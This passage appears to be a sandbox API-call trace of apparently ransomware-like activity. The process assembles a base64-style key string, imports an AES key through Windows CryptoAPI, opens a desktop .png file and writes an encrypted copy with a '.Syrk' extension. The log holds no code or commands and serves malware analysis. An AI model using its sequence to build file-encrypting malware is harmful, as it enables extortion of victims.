Memory=0x5c640ac) returned 0x0 [0207.786] SysStringLen (param_1="NDZlODRmYzNlYTJhMD亅㸱멷嘇ꚺ") returned 0x18 [0207.786] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0207.786] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0207.786] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0207.787] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0207.787] SysStringLen (param_1="NDZlODRmYzNlYTJhMDF㸱멷嘇ꚺ") returned 0x18 [0207.787] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0207.787] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0207.787] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0207.787] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0207.787] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFl멷嘇ꚺ") returned 0x18 [0207.787] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0207.787] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0207.787] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0207.787] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0207.787] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlM嘇ꚺ") returned 0x18 [0207.787] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0207.787] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0207.788] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0207.788] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0207.788] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTꚺ") returned 0x18 [0207.788] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0207.788] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0207.788] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0207.788] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0207.788] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTU") returned 0x18 [0207.788] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0207.789] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0207.789] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0207.789] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0207.789] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUw") returned 0x18 [0207.789] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0207.789] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0207.789] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0207.789] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0207.789] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x20 [0207.789] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0207.789] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZㄵ㋛仄杫ℂ︸饉") returned 0x20 [0207.789] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0207.790] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0207.790] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0207.790] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0207.790] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZD㋛仄杫ℂ︸饉") returned 0x20 [0207.790] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0207.790] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0207.790] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0207.790] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0207.790] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE仄杫ℂ︸饉") returned 0x20 [0207.790] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0207.790] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0207.790] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0207.790] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0207.790] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3杫ℂ︸饉") returned 0x20 [0207.790] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0207.791] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0207.791] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0207.791] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0207.791] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yℂ︸饉") returned 0x20 [0207.791] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0207.791] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0207.791] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0207.791] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0207.791] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yz︸饉") returned 0x20 [0207.791] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0207.791] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0207.791] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0207.791] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0207.791] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzd饉") returned 0x20 [0207.792] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0207.792] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0207.792] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0207.792] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0207.792] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzdi") returned 0x20 [0207.792] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0207.792] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0207.792] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0207.792] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0207.792] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x28 [0207.792] SystemFunction041 (in: Memory=0x5c91c14, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91c14) returned 0x0 [0207.792] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiM⤷挠ﵝ九갧") returned 0x28 [0207.793] SystemFunction040 (in: Memory=0x5c91c14, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91c14) returned 0x0 [0207.793] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0207.793] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0207.793] SystemFunction041 (in: Memory=0x5c91c14, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91c14) returned 0x0 [0207.793] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMm⤷挠ﵝ九갧") returned 0x28 [0207.793] SystemFunction040 (in: Memory=0x5c91c14, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91c14) returned 0x0 [0207.793] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0207.793] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0207.793] SystemFunction041 (in: Memory=0x5c91c14, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91c14) returned 0x0 [0207.793] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQ挠ﵝ九갧") returned 0x28 [0207.793] SystemFunction040 (in: Memory=0x5c91c14, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91c14) returned 0x0 [0207.793] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0207.793] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0207.793] SystemFunction041 (in: Memory=0x5c91c14, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91c14) returned 0x0 [0207.794] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzﵝ九갧") returned 0x28 [0207.794] SystemFunction040 (in: Memory=0x5c91c14, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91c14) returned 0x0 [0207.794] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0207.794] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0207.794] SystemFunction041 (in: Memory=0x5c91c14, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91c14) returned 0x0 [0207.794] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN九갧") returned 0x28 [0207.794] SystemFunction040 (in: Memory=0x5c91c14, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91c14) returned 0x0 [0207.794] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0207.794] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0207.794] SystemFunction041 (in: Memory=0x5c91c14, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91c14) returned 0x0 [0207.794] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2갧") returned 0x28 [0207.794] SystemFunction040 (in: Memory=0x5c91c14, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91c14) returned 0x0 [0207.794] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0207.794] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0207.794] SystemFunction041 (in: Memory=0x5c91c14, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91c14) returned 0x0 [0207.795] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2J갧") returned 0x28 [0207.795] SystemFunction040 (in: Memory=0x5c91c14, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91c14) returned 0x0 [0207.795] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0207.795] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0207.795] SystemFunction041 (in: Memory=0x5c91c14, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91c14) returned 0x0 [0207.795] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2Jh") returned 0x28 [0207.795] SystemFunction040 (in: Memory=0x5c91c14, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91c14) returned 0x0 [0207.795] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0207.795] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0207.795] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0207.795] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x30 [0207.795] SystemFunction041 (in: Memory=0x3da864, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da864) returned 0x0 [0207.795] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN셳㻶벗颯軠삳") returned 0x30 [0207.796] SystemFunction040 (in: Memory=0x3da864, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da864) returned 0x0 [0207.796] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0207.796] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0207.796] SystemFunction041 (in: Memory=0x3da864, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da864) returned 0x0 [0207.796] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2㻶벗颯軠삳") returned 0x30 [0207.796] SystemFunction040 (in: Memory=0x3da864, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da864) returned 0x0 [0207.796] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0207.796] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0207.796] SystemFunction041 (in: Memory=0x3da864, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da864) returned 0x0 [0207.796] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q㻶벗颯軠삳") returned 0x30 [0207.796] SystemFunction040 (in: Memory=0x3da864, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da864) returned 0x0 [0207.796] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0207.796] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0207.796] SystemFunction041 (in: Memory=0x3da864, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da864) returned 0x0 [0207.796] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0207.796] SystemFunction040 (in: Memory=0x3da864, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da864) returned 0x0 [0207.797] EtwEventActivityIdControl () returned 0x0 [0207.797] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0207.797] SystemFunction041 (in: Memory=0x3da864, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da864) returned 0x0 [0207.797] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0207.797] SystemFunction040 (in: Memory=0x3da864, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da864) returned 0x0 [0207.799] CryptAcquireContextW (in: phProv=0x5a2e6f0, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e6f0*=0x5c4ccc0) returned 1 [0207.800] CryptImportKey (in: hProv=0x5c4ccc0, pbData=0x23980bc*, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x5a2eae4 | out: phKey=0x5a2eae4*=0x5c69140) returned 1 [0207.800] CryptContextAddRef (hProv=0x5c4ccc0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0207.801] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e850, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0207.801] EtwEventActivityIdControl () returned 0x0 [0207.801] EtwEventActivityIdControl () returned 0x0 [0207.801] EtwEventActivityIdControl () returned 0x0 [0207.811] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\LW2ZryjL bjcZe.png" (normalized: "c:\\users\\keecfmwgj\\desktop\\lw2zryjl bjcze.png")) returned 0x20 [0207.812] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\LW2ZryjL bjcZe.png" (normalized: "c:\\users\\keecfmwgj\\desktop\\lw2zryjl bjcze.png")) returned 0x20 [0207.812] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\LW2ZryjL bjcZe.png", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2e [0207.812] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\LW2ZryjL bjcZe.png", nBufferLength=0x2e, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\LW2ZryjL bjcZe.png", lpFilePart=0x0) returned 0x2d [0207.812] EtwEventActivityIdControl () returned 0x0 [0207.813] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0207.813] EtwEventActivityIdControl () returned 0x0 [0207.813] EtwEventActivityIdControl () returned 0x0 [0207.813] EtwEventActivityIdControl () returned 0x0 [0207.818] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\LW2ZryjL bjcZe.png", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2e [0207.818] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\LW2ZryjL bjcZe.png", nBufferLength=0x2e, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\LW2ZryjL bjcZe.png", lpFilePart=0x0) returned 0x2d [0207.818] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dfa0) returned 1 [0207.818] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\LW2ZryjL bjcZe.png" (normalized: "c:\\users\\keecfmwgj\\desktop\\lw2zryjl bjcze.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x42c [0207.819] GetFileType (hFile=0x42c) returned 0x1 [0207.819] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2df9c) returned 1 [0207.819] GetFileType (hFile=0x42c) returned 0x1 [0207.958] EtwEventActivityIdControl () returned 0x0 [0207.963] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0207.964] EtwEventActivityIdControl () returned 0x0 [0207.964] EtwEventActivityIdControl () returned 0x0 [0207.964] EtwEventActivityIdControl () returned 0x0 [0207.966] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\LW2ZryjL bjcZe.png.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x33 [0207.966] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\LW2ZryjL bjcZe.png.Syrk", nBufferLength=0x33, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\LW2ZryjL bjcZe.png.Syrk", lpFilePart=0x0) returned 0x32 [0207.967] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dfa0) returned 1 [0207.967] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\LW2ZryjL bjcZe.png.Syrk" (normalized: "c:\\users\\keecfmwgj\\desktop\\lw2zryjl bjcze.png.syrk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x44c [0207.969] GetFileType (hFile=0x44c) returned 0x1 [0207.969] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2df9c) returned 1 [0207.969] GetFileType (hFile=0x44c) returned 0x1 [0207.969] EtwEventActivityIdControl () returned 0x0 [0207.969] CryptGenRandom (in: hProv=0x5c4ccc0, dwLen=0x10, pbBuffer=0x23a8bc4 | out: pbBuffer=0x23a8bc4) returned 1 [0207.970] CryptContextAddRef (hProv=0x5c4ccc0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0207.971] 